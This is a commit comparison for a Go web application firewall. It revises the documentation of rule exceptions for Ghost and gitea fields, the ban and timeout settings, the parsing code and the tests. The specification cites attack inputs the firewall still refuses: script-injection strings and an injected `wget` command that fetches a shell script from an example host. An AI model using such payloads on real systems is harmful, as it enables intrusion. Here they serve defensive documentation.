Compare commits
6
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7caad07de3 | ||
|
|
4dad4fff43 | ||
|
|
94d60358ee | ||
|
|
3304beca46 | ||
|
|
101cc0aba5 | ||
|
|
c4bf76c966 |
No files matched your search
@@ -609,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
||||
its searches, its file names, its account names, its comments and its
|
||||
documents;
|
||||
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
||||
email addresses, its code injection, its settings and a post saved from
|
||||
its editor, HTML included.
|
||||
- `ghost`, whose fixes let through the text its admin and members type, its
|
||||
analytics, its code injection, ActivityPub and a post saved from its
|
||||
editor, HTML included.
|
||||
- A random password, as a password manager makes one, gets through these forms:
|
||||
- signing in, signing up, and changing or resetting a password, on
|
||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
||||
|
||||
@@ -214,9 +214,9 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
||||
are updated, and the alert thresholds are evaluated.
|
||||
|
||||
For a request it refused, `waf` adds nothing to the byte limits. It updates
|
||||
the history and the anomaly counters at its decision. It counts the refusals
|
||||
the refusal limit counts at the decision too (`refusal_limit`; see "Attack
|
||||
detection").
|
||||
the history and the anomaly counters at its decision. A refusal for a rule
|
||||
file match, a trap path or a Core Rule Set match also counts toward the
|
||||
refusal limit at the decision (`refusal_limit`; see "Attack detection").
|
||||
|
||||
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
|
||||
happened, nothing is refused, and `waf` makes no ban of its own. A path under
|
||||
@@ -883,11 +883,12 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
||||
which refused `org.apache.commons.logging`.
|
||||
|
||||
A branch, tag or package name can hold a slash, as `feat/docker-support`
|
||||
does. So `q` skips the rule for shell paths (932160) too on these pages,
|
||||
where it refused `/bin/sh`:
|
||||
does. So `q` skips the rule for shell paths (932160) too on these
|
||||
searches, where it refused `/bin/sh`:
|
||||
- a repository's branches, tags and packages pages;
|
||||
- an owner's packages page;
|
||||
- the admin page of packages.
|
||||
- the admin page of packages;
|
||||
- the API's search of packages.
|
||||
|
||||
- `q` on gitea's other searches, for the same four rules. Words such as
|
||||
`python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
|
||||
@@ -902,12 +903,19 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
||||
- the runner lists of the site, a user, an organisation and a
|
||||
repository;
|
||||
- the admin lists of users, organisations, repositories, unadopted
|
||||
repositories and emails.
|
||||
repositories and emails;
|
||||
- the API's searches of topics, of an organisation's teams and of
|
||||
emails.
|
||||
|
||||
Most send `q` in the query string. The admin forms that adopt a
|
||||
repository or activate an email send it in the body. gitea serves its
|
||||
admin pages under `/-/admin/` and Forgejo under `/admin/`.
|
||||
|
||||
- Two fields of the API's searches other than `q`, for the same four rules:
|
||||
- `query` of the search of unadopted repositories, which holds an owner
|
||||
and a name, such as `alice/python3-app`;
|
||||
- `name` of the search of a repository's milestones.
|
||||
|
||||
- The path of these requests, which names a file:
|
||||
- a file's page;
|
||||
- its raw file;
|
||||
@@ -1756,31 +1764,87 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
|
||||
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
|
||||
and the request it refused. Ghost's admin and integrations call the Admin API
|
||||
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
|
||||
`/ghost/api/content/`, and members call `/members/api/`.
|
||||
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
|
||||
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
|
||||
|
||||
Three query fields skip some rules:
|
||||
Eight rules refused words that name commands and files, such as `python3`,
|
||||
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
|
||||
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
|
||||
|
||||
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
|
||||
API and the Content API, so `tag:powershell` passes;
|
||||
These query fields skip some rules:
|
||||
|
||||
- `filter`, a query in Ghost's own filter language, skips those eight rules
|
||||
except 930120, on the Admin API and the Content API;
|
||||
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
||||
the Admin API;
|
||||
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
||||
930120 and 932120.
|
||||
930120 and 932120;
|
||||
- `source` and the `utm_` fields, which filter the analytics, skip those eight
|
||||
rules under `/ghost/api/admin/stats/`;
|
||||
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
|
||||
there;
|
||||
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
||||
on the Admin API's posts;
|
||||
- `query`, a search for an account in ActivityPub, skips those eight rules;
|
||||
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
|
||||
|
||||
The fields of JSON bodies where a person types plain text skip 930120, 932120,
|
||||
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
|
||||
pages, tags, labels, members, newsletters and snippets, on the Admin API:
|
||||
The fields of JSON bodies where a person types plain text skip those eight
|
||||
rules. They are these fields of posts, pages, tags, labels, members, newsletters
|
||||
and snippets, on the Admin API:
|
||||
|
||||
- `title`, `name` and `slug`;
|
||||
- a post's `tags` and a member's `labels`, by name or slug;
|
||||
- `custom_excerpt`, `description`, `note` and `sender_name`;
|
||||
- the `meta_`, `og_` and `twitter_` titles and descriptions.
|
||||
|
||||
A member's `name` at `/members/api/` skips them too. A member's `email` skips
|
||||
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
|
||||
member. A staff user's address skips them too: `username` when signing in, and
|
||||
`email` when creating the first staff user, asking for a password reset or
|
||||
saving a profile.
|
||||
These fields on the Admin API skip them too:
|
||||
|
||||
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
|
||||
- `blogTitle` and `name` when creating the first staff user;
|
||||
- `name` when accepting an invitation;
|
||||
- `name`, `description` and `benefits` of tiers;
|
||||
- `name`, `code`, `display_title` and `display_description` of offers;
|
||||
- `title`, `description` and `excerpt` of recommendations;
|
||||
- `name` and `description` of integrations, and `name` of webhooks;
|
||||
- `feature_image_alt` and `feature_image_caption` of posts and pages.
|
||||
|
||||
These fields skip them on their own paths:
|
||||
|
||||
- a member's `name` at `/members/api/`;
|
||||
- `html` of a member's comment at `/members/api/comments/`;
|
||||
- `labels`, when the admin imports members from a CSV file;
|
||||
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
|
||||
description of its image;
|
||||
- `name`, `username` and `bio` of the account in ActivityPub.
|
||||
|
||||
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
|
||||
the admin adds or edits a member. A staff user's address skips them too. It is
|
||||
sent as `username` when signing in, and as `email` in these requests:
|
||||
|
||||
- creating the first staff user;
|
||||
- asking for a password reset;
|
||||
- saving a profile;
|
||||
- inviting a staff user;
|
||||
- accepting an invitation.
|
||||
|
||||
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
|
||||
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
|
||||
its rules only on its own path:
|
||||
|
||||
- `sourceHandle`, an account that moves here, when it is added at
|
||||
`/.ghost/activitypub/v1/aliases`;
|
||||
- `actorUri`, that account's address, when the admin removes it there;
|
||||
- `targetHandle`, the account this one moves to, at
|
||||
`/.ghost/activitypub/v1/migration`;
|
||||
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
|
||||
`/.ghost/activitypub/v1/domain/validate`.
|
||||
|
||||
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
|
||||
does. Each skips them only on its own path:
|
||||
|
||||
- a post's under `/ghost/api/admin/posts/`;
|
||||
- a page's under `/ghost/api/admin/pages/`;
|
||||
- a tag's under `/ghost/api/admin/tags/`.
|
||||
|
||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||
|
||||
@@ -1800,12 +1864,14 @@ The articles skip these rules:
|
||||
Code injection is the HTML that Ghost adds to the head and the foot of a page.
|
||||
These fields on the Admin API hold it:
|
||||
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
||||
- `value` of settings, since the site's settings hold its code injection.
|
||||
|
||||
Code injection skips these rules:
|
||||
|
||||
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
|
||||
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
|
||||
refused words that name commands and files, such as the site's title
|
||||
`powershell & python3`;
|
||||
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
||||
elements.
|
||||
|
||||
@@ -1814,15 +1880,22 @@ card can embed a widget and code injection can load analytics. These are the
|
||||
fields, on the Admin API:
|
||||
|
||||
- `lexical`, `mobiledoc` and `html` of posts and pages;
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
||||
- `value` of settings.
|
||||
|
||||
`<script>alert(1)</script>` is still refused in snippets and newsletters.
|
||||
`javascript:alert(1)` is still refused in the articles and code injection
|
||||
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
||||
field above. Script injection is too, outside the articles and code injection.
|
||||
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
|
||||
text and the addresses.
|
||||
|
||||
`; wget http://example.com/x.sh` is still refused in these fields:
|
||||
|
||||
- the addresses, the handles and the domain;
|
||||
- the `canonical_url` of posts, pages and tags;
|
||||
- `search`, `url`, `pathname`, `email_segment` and `email`.
|
||||
|
||||
The other fields above skip 932235, which refuses that command but also refuses
|
||||
`powershell & python3`.
|
||||
|
||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||
That name holds `.profile`, a file on the list of system files, so the name
|
||||
@@ -2612,13 +2685,14 @@ A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
|
||||
that the app never sees that prefix.
|
||||
|
||||
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
|
||||
below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
|
||||
writes a process warning, its log line has no `disposition`, and it sends no
|
||||
report.
|
||||
below `200`. The visitor gets `502` from `rproxy`, whatever
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
|
||||
warning, its log line has no `disposition`, and it sends no report.
|
||||
|
||||
A visitor that goes away while `waf` is being asked is no failure of `waf`.
|
||||
`rproxy` closes the connection, with no warning, no default and no report. Its
|
||||
log line has status `0` and no `disposition`.
|
||||
`rproxy` closes the connection with no warning and no report, and
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
|
||||
status `0` and no `disposition`.
|
||||
|
||||
### Passing a request to the app
|
||||
|
||||
|
||||
+7
-7
@@ -304,8 +304,8 @@ the request first.
|
||||
A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
within which breaking a limit again lengthens the next ban. A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): the longest ban for a
|
||||
broken limit; one that would be longer is permanent. A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
|
||||
that would be longer than this is permanent instead. A duration.
|
||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||
of attack. A duration.
|
||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
@@ -454,13 +454,12 @@ asked in the background (see "Answering in time" under "`waf`" in
|
||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
||||
for `waf`'s answer, to a question and to a report. A time; never `off`.
|
||||
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
||||
never `off`.
|
||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
||||
with a request when `waf` cannot be connected to, does not answer at all, or
|
||||
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
||||
@@ -473,11 +472,12 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||
take to send its request line and headers. It then also bounds, from the end
|
||||
of the headers, the time until the app has been sent the whole request. A time
|
||||
or `off`.
|
||||
in milliseconds or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||
take, from the end of the request to its last byte reaching the visitor. An
|
||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||
do the status and headers of the app's answer. A time or `off`.
|
||||
do the status and headers of the app's answer. A time in milliseconds or
|
||||
`off`.
|
||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||
`:9000`.
|
||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package bans is the ban ledger: the bans sww makes on the
|
||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||
// netblocks of clients that break a rate limit, a byte limit or the refusal
|
||||
// limit, show a clear sign of attack or are listed by the CrowdSec
|
||||
// decision list, and
|
||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||
// describes. The bans are kept in memory, and written to bans.json and
|
||||
@@ -49,8 +49,8 @@ type Params struct {
|
||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||
// repeatFactor times as long as that ban.
|
||||
LimitBanRepeatWindow time.Duration
|
||||
// LimitBanPermanentAbove is the longest ban for a broken limit; one that would
|
||||
// be longer is permanent instead.
|
||||
// A ban for a broken limit that would be longer than
|
||||
// LimitBanPermanentAbove is permanent instead.
|
||||
LimitBanPermanentAbove time.Duration
|
||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||
// lasts.
|
||||
|
||||
@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||
// hours, is within the maximum, and three times as long would not fit
|
||||
// in a time.Duration. The 15th is permanent.
|
||||
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
||||
// 3^13 hours, is not above it, and three times as long would not fit in
|
||||
// a time.Duration. The 15th is permanent.
|
||||
params := defaultParams()
|
||||
params.LimitBanPermanentAbove = 100000 * day
|
||||
ledger := bans.New(params)
|
||||
|
||||
@@ -16,6 +16,7 @@ import (
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
@@ -36,7 +37,9 @@ const (
|
||||
var (
|
||||
errNotSize = errors.New(
|
||||
"is not a size such as 512K, 100M or 5G, or off")
|
||||
errNotPositive = errors.New("must be more than zero, or off")
|
||||
errNotPositive = errors.New("must be more than zero, or off")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errEmptyItem = errors.New("has an empty item in its list")
|
||||
errNotNetblock = errors.New(
|
||||
"is not a netblock such as 10.0.0.0/8, or an address")
|
||||
@@ -62,11 +65,10 @@ func Command(v *viper.Viper) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read
|
||||
// the settings: it notes each
|
||||
// value for the log, and keeps the first error. It reads every setting
|
||||
// through v, the viper NewViper returns, and honours each setting's _FILE
|
||||
// form too.
|
||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
|
||||
// settings: it notes each value for the log, and keeps the first error. It
|
||||
// reads every setting through v, the viper NewViper returns, and honours
|
||||
// each setting's _FILE form too.
|
||||
type environment struct {
|
||||
v *viper.Viper
|
||||
settings []slog.Attr
|
||||
@@ -163,6 +165,19 @@ func (e *environment) size(name, defaultValue string) int64 {
|
||||
return size
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
||||
// powers of 1024 (1K is 1024 bytes), or off.
|
||||
func parseSize(value string) (int64, error) {
|
||||
@@ -199,6 +214,17 @@ func splitUnit(value string) (string, int64) {
|
||||
}
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseList splits a comma-separated list and trims the spaces around
|
||||
// each item. An empty value is an empty list.
|
||||
func parseList(value string) ([]string, error) {
|
||||
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"math"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strconv"
|
||||
@@ -64,9 +63,7 @@ var (
|
||||
"such as http://127.0.0.1:8081")
|
||||
errNeedsWAFBackend = errors.New(
|
||||
"is required: it is waf's URL, such as http://waf:8080")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMillisecondsOrOff = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||
)
|
||||
@@ -178,19 +175,6 @@ func (e *environment) disposition(name, defaultValue string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||
// above zero, or off, which is 0.
|
||||
func (e *environment) millisecondsOrOff(
|
||||
@@ -209,17 +193,6 @@ func (e *environment) millisecondsOrOff(
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||
// optional port from 1 to 65535, and nothing else, since the request's
|
||||
// own path and query go to the app unchanged.
|
||||
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
// rproxy's settings, by name, and their values in these tests.
|
||||
const (
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
||||
rproxyListen: ":9000",
|
||||
rproxyUpstream: "http://app:3000",
|
||||
rproxyTrusted: "192.0.2.0/24",
|
||||
rproxyTimeout: "150",
|
||||
wafBackendTimeout: "150",
|
||||
rproxyNoAnswer: "deny",
|
||||
rproxyMaxRequest: "1K",
|
||||
rproxyMaxResponse: off,
|
||||
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "waf:8080"},
|
||||
{wafBackend, "http://waf:8080/path"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
{rproxyTimeout, "2s"},
|
||||
{rproxyTimeout, "1.25"},
|
||||
{rproxyTimeout, "99999999999999999"},
|
||||
{wafBackendTimeout, "0"},
|
||||
{wafBackendTimeout, "-1"},
|
||||
{wafBackendTimeout, off},
|
||||
{wafBackendTimeout, "2s"},
|
||||
{wafBackendTimeout, "1.25"},
|
||||
{wafBackendTimeout, "99999999999999999"},
|
||||
{rproxyNoAnswer, "maybe"},
|
||||
{rproxyListen, "8080"},
|
||||
{rproxyUpstream, "app"},
|
||||
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||
|
||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||
_, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
rproxyTimeout + "_FILE": path,
|
||||
wafBackend: backendURL,
|
||||
wafBackendTimeout + "_FILE": path,
|
||||
})
|
||||
|
||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
||||
want := wafBackendTimeout + "_FILE: cannot be read: "
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||
}
|
||||
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
||||
rproxyNoAnswer,
|
||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||
} {
|
||||
|
||||
+12
-13
@@ -27,8 +27,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||
)
|
||||
|
||||
// WAF is the settings of `sww waf`. A time or size limit of
|
||||
// zero is off.
|
||||
// WAF is the settings of `sww waf`. A time or size limit of zero is off.
|
||||
type WAF struct {
|
||||
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
@@ -71,21 +70,21 @@ type WAF struct {
|
||||
// most bytes a client's requests may carry in a minute, an hour and a
|
||||
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
|
||||
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
|
||||
// toward them (SWW_WAF_BYTES_COUNTED): response, request or both.
|
||||
// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
|
||||
// response, request or both.
|
||||
BytesLimitPerMinute int64
|
||||
BytesLimitPerHour int64
|
||||
BytesLimitPerDay int64
|
||||
BytesCounted string
|
||||
// LookupSource is where each client's AS number and country are
|
||||
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
||||
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||
// other source. A request waits up to ASNAndCountryLookupTimeout for
|
||||
// its client's first answer from GeoJS while a setting needs it
|
||||
// LookupSource is where each client's AS number and country are looked
|
||||
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
|
||||
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||
// other source. A request waits up to ASNAndCountryLookupTimeout for its
|
||||
// client's first answer from GeoJS while a setting needs it
|
||||
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
|
||||
// AddLookupHeaders is true when the app is passed the client's AS
|
||||
// number and country in headers
|
||||
// (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||
// AddLookupHeaders is true when the app is passed the client's AS number
|
||||
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||
LookupSource string
|
||||
LookupDBPath string
|
||||
ASNAndCountryLookupTimeout time.Duration
|
||||
@@ -846,7 +845,7 @@ func (e *environment) count(name, defaultValue string) int64 {
|
||||
}
|
||||
|
||||
// bytesCounted reads the setting that is which body bytes count toward the
|
||||
// byte limits: response, request or both.
|
||||
// byte limits and the byte anomaly thresholds: response, request or both.
|
||||
func (e *environment) bytesCounted(name, defaultValue string) string {
|
||||
value := e.value(name, defaultValue)
|
||||
if value != "response" && value != "request" && value != "both" {
|
||||
|
||||
+67
-67
@@ -248,8 +248,8 @@ func (e environment) viper() *viper.Viper {
|
||||
return configtest.Viper(e)
|
||||
}
|
||||
|
||||
// fromEnvironment reads the settings from env, which must be valid.
|
||||
func fromEnvironment(t *testing.T, env environment) *config.WAF {
|
||||
// wafFromEnvironment reads waf's settings from env, which must be valid.
|
||||
func wafFromEnvironment(t *testing.T, env environment) *config.WAF {
|
||||
t.Helper()
|
||||
|
||||
cfg, err := config.WAFFromEnvironment(env.viper())
|
||||
@@ -263,7 +263,7 @@ func fromEnvironment(t *testing.T, env environment) *config.WAF {
|
||||
func TestDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
|
||||
wantSettings(t, cfg, config.WAF{
|
||||
ListenAddr: ":8080",
|
||||
@@ -334,7 +334,7 @@ func TestDefaults(t *testing.T) {
|
||||
func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
cfg := wafFromEnvironment(t, environment{})
|
||||
|
||||
rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL})
|
||||
if err != nil {
|
||||
@@ -359,7 +359,7 @@ func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
|
||||
func TestValuesAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
cfg := wafFromEnvironment(t, environment{
|
||||
listenAddr: "127.0.0.1:9000",
|
||||
mode: "observe",
|
||||
allowNets: "192.0.2.7",
|
||||
@@ -429,7 +429,7 @@ func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
|
||||
48, 500, slog.LevelWarn,
|
||||
},
|
||||
} {
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
cfg := wafFromEnvironment(t, tc.env)
|
||||
if cfg.IPv6GroupPrefix != tc.prefix ||
|
||||
cfg.MaxTrackedClients != tc.clients ||
|
||||
cfg.LogLevel != tc.level {
|
||||
@@ -444,7 +444,7 @@ func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, length := range []int{32, 128} {
|
||||
cfg := fromEnvironment(
|
||||
cfg := wafFromEnvironment(
|
||||
t,
|
||||
environment{ipv6GroupPrefix: strconv.Itoa(length)},
|
||||
)
|
||||
@@ -468,7 +468,7 @@ func TestEachLogLevel(t *testing.T) {
|
||||
"warn": slog.LevelWarn,
|
||||
"error": slog.LevelError,
|
||||
} {
|
||||
cfg := fromEnvironment(t, environment{logLevel: value})
|
||||
cfg := wafFromEnvironment(t, environment{logLevel: value})
|
||||
if cfg.LogLevel != want {
|
||||
t.Errorf(
|
||||
"%s=%s gave %v, want %v",
|
||||
@@ -484,7 +484,7 @@ func TestEachLogLevel(t *testing.T) {
|
||||
func TestByteLimitSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
